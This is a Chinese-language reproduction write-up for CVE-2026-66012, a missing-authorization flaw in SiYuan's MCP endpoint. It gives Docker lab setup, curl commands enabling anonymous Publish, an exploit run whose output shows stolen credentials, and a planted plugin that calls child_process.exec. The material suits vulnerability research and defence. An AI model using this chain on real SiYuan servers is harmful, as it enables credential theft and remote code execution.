漏洞简介
CVE-2026-66012 SiYuan 笔记应用 MCP Kernel 中
POST /mcp端点的缺失授权(CWE-862)漏洞。该端点仅通过model.CheckAuth进行通用 JWT 校验,未校验管理员角色或只读权限,导致任何合法 JWT(包括 Reader 角色)均可调用全部 MCP 工具。当 Publish 服务器以匿名模式启用时(
Conf.Publish.Enable=true,Conf.Publish.Auth.Enable=false),Publish 反向代理会自动为每个请求注入匿名用户 JWT(RoleReader),使得完全未认证的远程攻击者也能直达/mcp端点,暴露包括文件读写、删除、重命名在内的 31 个 MCP 工具。该漏洞的危害链路:读取
conf/conf.json提取明文凭证(accessAuthCode、api.token、cookieKey)→ 向data/plugins/写入恶意插件 → 插件以nodeIntegration:true+ 无 contextIsolation 的方式在下次桌面启动时执行 → 实现完全管理员接管与远程代码执行
影响范围
漏洞复现
准备环境
复现步骤
步骤 1:启动漏洞环境(Docker)
创建工作空间并启动 SiYuan v3.7.1:
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
```
```
```步骤 2:启用 Publish 服务器匿名模式
获取 API Token 并开启匿名 Publish:
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
```
```
```步骤 3:执行 PoC
python3 exploit.py http://127.0.0.1:6808
输出示例:
CVE-2026-66012 — SiYuan MCP 未授权管理员接管 PoC
目标: http://127.0.0.1:6808
开始 MCP 握手...
会话建立成功: 1atnx3vlzoccx89n
正在通过 MCP file 工具读取 conf/conf.json...
成功窃取凭证:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
正在植入恶意插件,载荷: id
恶意插件已植入: data/plugins/pwn/
载荷将在下次桌面启动时执行
尝试以 accessAuthCode 登录管理端口 http://127.0.0.1:6806...
管理员会话已建立,Token: lqfhx...步骤 4:验证结果
检查被植入的恶意插件文件:
docker exec siyuan-lab ls /siyuan/workspace/data/plugins/pwn/
docker exec siyuan-lab cat /siyuan/workspace/data/plugins/pwn/index.js
成功输出插件代码,证明文件写入成功:
{
"name": "pwn",
"version": "1.0.0",
...
}
module.exports={onload:function(){require("child_process").exec("id");}}
```